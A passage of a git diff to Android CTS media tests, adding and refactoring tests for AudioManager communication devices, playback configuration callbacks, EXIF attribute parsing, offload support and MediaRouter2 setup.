+ mAudioManager.clearDeviceForCommunication();
+ } catch (Exception e) {
+ fail("clearDeviceForCommunication failed with exception: " + e);
+ }
+ try {
+ commDevice = mAudioManager.getDeviceForCommunication();
+ } catch (Exception e) {
+ fail("getDeviceForCommunication failed with exception: " + e);
+ }
+ if (commDevice != null) {
+ fail("clearDeviceForCommunication failed, expected device null but got: "
+ + commDevice.getType());
+ }
+ }
+
+ public void testSetInvalidDeviceForCommunication() {
+ if (!isValidPlatform("testSetInvalidDeviceForCommunication")) return;
+
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ for (AudioDeviceInfo device : devices) {
+ if (isValidCommunicationDevice(device)) {
+ continue;
+ }
+ try {
+ mAudioManager.setDeviceForCommunication(device);
+ fail("setDeviceForCommunication should fail for device: " + device.getType());
+ } catch (Exception e) {
+ }
+ }
+ }
+
+ static class MyOnCommunicationDeviceChangedListener implements
+ AudioManager.OnCommunicationDeviceChangedListener {
+
+ private final Object mCbLock = new Object();
+ @GuardedBy("mCbLock")
+ private boolean mCalled;
+ @GuardedBy("mCbLock")
+ private AudioDeviceInfo mDevice;
+
+ private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+ void reset() {
+ synchronized (mCbLock) {
+ mCalled = false;
+ mDevice = null;
+ }
+ }
+
+ AudioDeviceInfo waitForDeviceUpdate() {
+ synchronized (mCbLock) {
+ while (!mCalled) {
+ try {
+ mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+ } catch (InterruptedException e) {
+ }
+ }
+ return mDevice;
+ }
+ }
+
+ AudioDeviceInfo getDevice() {
+ synchronized (mCbLock) {
+ return mDevice;
+ }
+ }
+
+ MyOnCommunicationDeviceChangedListener() {
+ reset();
+ }
+
+ @Override
+ public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
+ synchronized (mCbLock) {
+ mCalled = true;
+ mDevice = device;
+ mCbLock.notifyAll();
+ }
+ }
+ }
+
+ public void testDeviceForCommunicationListener() {
+ if (!isValidPlatform("testDeviceForCommunicationListener")) return;
+
+ MyOnCommunicationDeviceChangedListener listener =
+ new MyOnCommunicationDeviceChangedListener();
+
+ try {
+ mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
+ fail("addOnCommunicationDeviceChangedListener should fail with null executor");
+ } catch (Exception e) {
+ }
+
+ try {
+ mAudioManager.addOnCommunicationDeviceChangedListener(
+ Executors.newSingleThreadExecutor(), null);
+ fail("addOnCommunicationDeviceChangedListener should fail with null listener");
+ } catch (Exception e) {
+ }
+
+ try {
+ mAudioManager.removeOnCommunicationDeviceChangedListener(null);
+ fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
+ } catch (Exception e) {
+ }
+
+ try {
+ mAudioManager.addOnCommunicationDeviceChangedListener(
+ Executors.newSingleThreadExecutor(), listener);
+ } catch (Exception e) {
+ fail("addOnCommunicationDeviceChangedListener failed with exception: "
+ + e);
+ }
+
+ try {
+ mAudioManager.addOnCommunicationDeviceChangedListener(
+ Executors.newSingleThreadExecutor(), listener);
+ fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+ } catch (Exception e) {
+ }
+
+ AudioDeviceInfo originalDevice = mAudioManager.getDeviceForCommunication();
+ AudioDeviceInfo requestedDevice = null;
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ for (AudioDeviceInfo device : devices) {
+ if (!isValidCommunicationDevice(device)) {
+ continue;
+ }
+ if (originalDevice == null || device.getType() != originalDevice.getType()) {
+ requestedDevice = device;
+ break;
+ }
+ }
+ if (requestedDevice == null) {
+ Log.i(TAG,"Skipping end of testDeviceForCommunicationListener test,"
+ +" no valid decice to test");
+ return;
+ }
+ mAudioManager.setDeviceForCommunication(requestedDevice);
+ AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
+ if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
+ fail("listener and setter device mismatch, expected device: "
+ + requestedDevice.getType() + " but got: "
+ + ((listenerDevice == null)
+ ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+ }
+ AudioDeviceInfo getterDevice = mAudioManager.getDeviceForCommunication();
+ if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
+ fail("listener and getter device mismatch, expected device: "
+ + listenerDevice.getType() + " but got: "
+ + ((getterDevice == null)
+ ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
+ }
+
+ listener.reset();
+
+ if (originalDevice == null) {
+ mAudioManager.clearDeviceForCommunication();
+ } else {
+ mAudioManager.setDeviceForCommunication(originalDevice);
+ }
+ listenerDevice = listener.waitForDeviceUpdate();
+ if (originalDevice == null) {
+ if (listenerDevice != null) {
+ fail("setDeviceForCommunication failed, expected null device but got: "
+ + listenerDevice.getType());
+ }
+ } else {
+ if (listenerDevice == null || listenerDevice.getType() != originalDevice.getType()) {
+ fail("communication device listener failed on clear, expected device: "
+ + originalDevice.getType() + " but got: "
+ + ((listenerDevice == null)
+ ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+ }
+ }
+
+ try {
+ mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
+ } catch (Exception e) {
+ fail("removeOnCommunicationDeviceChangedListener failed with exception: "
+ + e);
+ }
+ }
+
+ private boolean isValidPlatform(String testName) {
+ if (!(getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) &&
+ !getInstrumentation().getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY))) {
+ Log.i(TAG,"Skipping test " + testName + " : device has no audio output or is a TV.");
+ return false;
+ }
+ return true;
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 50c63f2..d31c2fa 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -56,6 +56,7 @@
import android.media.AudioDeviceAttributes;
import android.media.AudioDeviceInfo;
import android.media.AudioManager;
+import android.media.AudioProfile;
import android.media.MediaPlayer;
import android.media.MediaRecorder;
import android.media.MicrophoneInfo;
@@ -77,10 +78,14 @@
import com.android.internal.annotations.GuardedBy;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
+import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
@NonMediaMainlineTest
public class AudioManagerTest extends InstrumentationTestCase {
@@ -1780,6 +1785,37 @@
mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
}
+ public void testGetDevices() {
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+ for (AudioDeviceInfo device : devices) {
+ HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> formatsFromProfile = new HashSet<>();
+ HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+ HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+ HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+ for (AudioProfile profile : device.getAudioProfiles()) {
+ formatsFromProfile.add(profile.getFormat());
+ channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+ .collect(Collectors.toList()));
+ channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+ .boxed().collect(Collectors.toList()));
+ sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+ .collect(Collectors.toList()));
+ }
+ assertEquals(formats, formatsFromProfile);
+ assertEquals(channelMasks, channelMasksFromProfile);
+ assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+ assertEquals(sampleRates, sampleRatesFromProfile);
+ }
+ }
+
private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
assertStreamVolumeEquals(stream, expectedVolume,
"Unexpected stream volume for stream=" + stream);
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
AudioAttributes.USAGE_ASSISTANT,
AudioAttributes.USAGE_NOTIFICATION,
- AudioAttributes.USAGE_VOICE_COMMUNICATION
};
@Presubmit
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 04023fd..1697668 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -192,35 +192,35 @@
h = null;
}
- try {
- AudioManager am = new AudioManager(getContext());
- assertNotNull("Could not create AudioManager", am);
+ AudioManager am = new AudioManager(getContext());
+ assertNotNull("Could not create AudioManager", am);
- final AudioAttributes aa = (new AudioAttributes.Builder())
- .setUsage(TEST_USAGE)
- .setContentType(TEST_CONTENT)
- .build();
+ MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+ MyAudioPlaybackCallback registeredCallback = null;
+
+ final AudioAttributes aa = (new AudioAttributes.Builder())
+ .setUsage(TEST_USAGE)
+ .setContentType(TEST_CONTENT)
+ .build();
+
+ try {
+
mMp = MediaPlayer.create(getContext(),
Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
am.generateAudioSessionId());
- MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
am.registerAudioPlaybackCallback(callback, h /*handler*/);
+ registeredCallback = callback;
// query how many active players before starting the MediaPlayer
List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
final int nbActivePlayersBeforeStart = configs.size();
- mMp.start();
- Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+ assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+ nbActivePlayersBeforeStart + 1, aa);
- assertEquals("onPlaybackConfigChanged call count not expected",
- 1/*expected*/, callback.getCbInvocationNumber()); //only one start call
- assertEquals("number of active players not expected",
- // one more player active
- nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
- assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
// stopping playback: callback is called with no match
callback.reset();
@@ -234,6 +234,7 @@
// unregister callback and start playback again
am.unregisterAudioPlaybackCallback(callback);
+ registeredCallback = null;
Thread.sleep(TEST_TIMING_TOLERANCE_MS);
callback.reset();
mMp.start();
@@ -246,6 +247,9 @@
(AudioManager.AudioPlaybackCallback) callback;
apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
} finally {
+ if (registeredCallback != null) {
+ am.unregisterAudioPlaybackCallback(registeredCallback);
+ }
if (h != null) {
h.getLooper().quit();
}
@@ -257,35 +261,31 @@
handlerThread.start();
final Handler h = new Handler(handlerThread.getLooper());
- try {
- AudioManager am = new AudioManager(getContext());
- assertNotNull("Could not create AudioManager", am);
+ AudioManager am = new AudioManager(getContext());
+ assertNotNull("Could not create AudioManager", am);
- final AudioAttributes aa = (new AudioAttributes.Builder())
- .setUsage(TEST_USAGE)
- .setContentType(TEST_CONTENT)
- .build();
+ MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+ final AudioAttributes aa = (new AudioAttributes.Builder())
+ .setUsage(TEST_USAGE)
+ .setContentType(TEST_CONTENT)
+ .build();
+
+ try {
mMp = MediaPlayer.create(getContext(),
Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
am.generateAudioSessionId());
- MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
am.registerAudioPlaybackCallback(callback, h /*handler*/);
// query how many active players before starting the MediaPlayer
- List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+ List<AudioPlaybackConfiguration> configs =
+ am.getActivePlaybackConfigurations();
final int nbActivePlayersBeforeStart = configs.size();
- mMp.start();
- Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
- assertEquals("onPlaybackConfigChanged call count not expected",
- 1/*expected*/, callback.getCbInvocationNumber()); //only one start call
- assertEquals("number of active players not expected",
- // one more player active
- nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
- assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+ assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+ nbActivePlayersBeforeStart + 1, aa);
// release the player without stopping or pausing it first
callback.reset();
@@ -297,8 +297,8 @@
assertEquals("number of active players not expected after release",
nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
- am.unregisterAudioPlaybackCallback(callback);
} finally {
+ am.unregisterAudioPlaybackCallback(callback);
if (h != null) {
h.getLooper().quit();
}
@@ -310,6 +310,7 @@
AudioManager am = new AudioManager(getContext());
assertNotNull("Could not create AudioManager", am);
+
MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
am.registerAudioPlaybackCallback(callback, null /*handler*/);
@@ -370,6 +371,63 @@
nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
}
+ public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
+ if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
+
+ final HandlerThread handlerThread = new HandlerThread(TAG);
+ handlerThread.start();
+ final Handler h = new Handler(handlerThread.getLooper());
+
+ AudioManager am = new AudioManager(getContext());
+ assertNotNull("Could not create AudioManager", am);
+
+ MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+ final AudioAttributes aa = (new AudioAttributes.Builder())
+ .setUsage(TEST_USAGE)
+ .setContentType(TEST_CONTENT)
+ .build();
+
+ try {
+ mMp = MediaPlayer.create(getContext(),
+ Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+ am.generateAudioSessionId());
+
+ am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+ // query how many active players before starting the MediaPlayer
+ List<AudioPlaybackConfiguration> configs =
+ am.getActivePlaybackConfigurations();
+ final int nbActivePlayersBeforeStart = configs.size();
+
+ assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+ nbActivePlayersBeforeStart + 1, aa);
+
+ assertTrue("Active player, device not found",
+ hasDevice(callback.getConfigs(), aa));
+
+ } finally {
+ am.unregisterAudioPlaybackCallback(callback);
+ if (h != null) {
+ h.getLooper().quit();
+ }
+ }
+ }
+
+ private void assertPlayerStartAndCallbackWithPlayerAttributes(
+ MediaPlayer mp, MyAudioPlaybackCallback callback,
+ int expectedCallbackCount, int activePlayerCount, AudioAttributes aa) throws Exception{
+ mp.start();
+ Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+ assertEquals("onPlaybackConfigChanged call count not expected",
+ expectedCallbackCount, callback.getCbInvocationNumber()); //only one start call
+ assertEquals("number of active players not expected",
+ // one more player active
+ activePlayerCount/*expected*/, callback.getNbConfigs());
+ assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+ }
+
private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
private final Object mCbLock = new Object();
@GuardedBy("mCbLock")
@@ -426,6 +484,19 @@
return false;
}
+ private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+ for (AudioPlaybackConfiguration apc : configs) {
+ if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+ && apc.getAudioAttributes().getUsage() == aa.getUsage()
+ && apc.getAudioAttributes().getFlags() == aa.getFlags()
+ && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+ == aa.getAllowedCapturePolicy() && apc.getAudioDeviceInfo() != null) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
@CapturePolicy
private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index d836079..100e24e 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -71,6 +71,34 @@
getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
}
+ public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+ try {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+ DEFAULT_ATTR);
+ fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+ } catch (NullPointerException e) {
+ // ok, NPE is expected here
+ }
+ }
+
+ public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+ try {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+ fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+ } catch (NullPointerException e) {
+ // ok, NPE is expected here
+ }
+ }
+
+ public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+ assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+ offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+ || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+ || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+ }
public void testMP3AudioTrackOffload() throws Exception {
testAudioTrackOffload(R.raw.sine1khzs40dblong,
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 196f235..eb048f7 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -500,6 +500,12 @@
format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+
+ // Set color parameters
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_LINEAR);
+
if (VERBOSE) Log.d(TAG, "format: " + format);
// Create the output surface.
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 64d1254..c969515 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,7 +79,7 @@
private static final boolean DBG = false;
private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
- private static final long DEFAULT_WAIT_TIMEOUT_MS = 5000;
+ private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
private static final int COLOR_RED = makeColor(100, 0, 0);
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 7b2f412..c67222e 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -16,6 +16,8 @@
package android.media.cts;
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
@@ -840,11 +842,34 @@
String makeValueWithTwoSlashes = "Make/Test/Test";
exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // When a value has a comma, it should be parsed as a string if any of the values before or
+ // after the comma is a string.
+ int defaultValue = -1;
+ String makeValueWithCommaType1 = "Make,2";
+ exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+ assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // Make sure that it's not stored as an integer value.
+ assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+ String makeValueWithCommaType2 = "2,Make";
+ exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+ assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // Make sure that it's not stored as an integer value.
+ assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
// 3. Unsigned short format tag
String isoSpeedRatings = "800";
exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+ // When a value has multiple components, all of them should be of the format that the tag
+ // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+ // only allows short values.
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+ String invalidMultipleComponentsValueType1 = "1,65536";
+ exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+ String invalidMultipleComponentsValueType2 = "65536,1";
+ exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
// 4. Unsigned long format tag
String validImageWidthValue = "65536"; // max unsigned short value + 1
@@ -872,6 +897,46 @@
imageFile.delete();
}
+ public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+ // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+ File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+ File imageFile = clone(srcFile);
+
+ ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+ try {
+ exif.getAttribute(null);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+ int defaultValue = -1;
+ try {
+ exif.getAttributeInt(null, defaultValue);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+ try {
+ exif.getAttributeDouble(null, defaultValue);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+ try {
+ exif.getAttributeBytes(null);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+ }
+
private static File clone(File original) throws IOException {
final File cloned =
File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 95f1426..7f1c0d6 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -531,7 +531,7 @@
}
}
- heifWriter.stop(3000);
+ heifWriter.stop(5000);
// The test sets the primary index to the last image.
// However, if we're testing early abort, the last image will not be
// present and the muxer is supposed to set it to 0 by default.
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index eab4b09..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -595,12 +595,20 @@
}
}
- public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash() {
+ public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+ throws Exception {
MediaController.TransportControls transportControls = mController.getTransportControls();
- // These calls should not crash. Null is accepted on purpose.
- transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
- transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ synchronized (mWaitLock) {
+ // These calls should not crash. Null query is accepted on purpose.
+ transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ mWaitLock.wait(TIME_OUT_MS);
+ assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+ transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+ mWaitLock.wait(TIME_OUT_MS);
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ }
}
public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index f932e5b..eec8a31 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1070,6 +1070,11 @@
1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
}
+ public void testGetImageAtIndexAvifGrid() throws Exception {
+ testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+ 1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+ }
+
/**
* Determines if two color values are approximately equal.
*/
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
Context mContext;
private MediaRouter2 mRouter2;
private Executor mExecutor;
+ private RouteCallback mRouterDummyCallback = new RouteCallback(){};
private StubMediaRoute2ProviderService mService;
private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
mRouter2 = MediaRouter2.getInstance(mContext);
mExecutor = Executors.newSingleThreadExecutor();
+ MediaRouter2TestActivity.startActivity(mContext);
+
+ // In order to make the system bind to the test service,
+ // set a non-empty discovery preference while app is in foreground.
+ List<String> features = new ArrayList<>();
+ features.add("A test feature");
+ RouteDiscoveryPreference preference =
+ new RouteDiscoveryPreference.Builder(features, false).build();
+ mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
new PollingCheck(TIMEOUT_MS) {
@Override
protected boolean check() {
@@ -107,6 +118,8 @@
@After
public void tearDown() throws Exception {
+ mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+ MediaRouter2TestActivity.finishActivity();
if (mService != null) {
mService.clear();
mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
private MediaRouter2 mRouter2;
private Executor mExecutor;
private AudioManager mAudioManager;
+ private RouteCallback mRouterDummyCallback = new RouteCallback(){};
private StubMediaRoute2ProviderService mService;
private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
mExecutor = Executors.newSingleThreadExecutor();
mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
+ MediaRouter2TestActivity.startActivity(mContext);
+
+ // In order to make the system bind to the test service,
+ // set a non-empty discovery preference while app is in foreground.
+ List<String> features = new ArrayList<>();
+ features.add("A test feature");
+ RouteDiscoveryPreference preference =
+ new RouteDiscoveryPreference.Builder(features, false).build();
+ mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
new PollingCheck(TIMEOUT_MS) {
@Override
protected boolean check() {
@@ -120,6 +131,8 @@
@After
public void tearDown() throws Exception {
+ mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+ MediaRouter2TestActivity.finishActivity();
if (mService != null) {
mService.clear();
mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
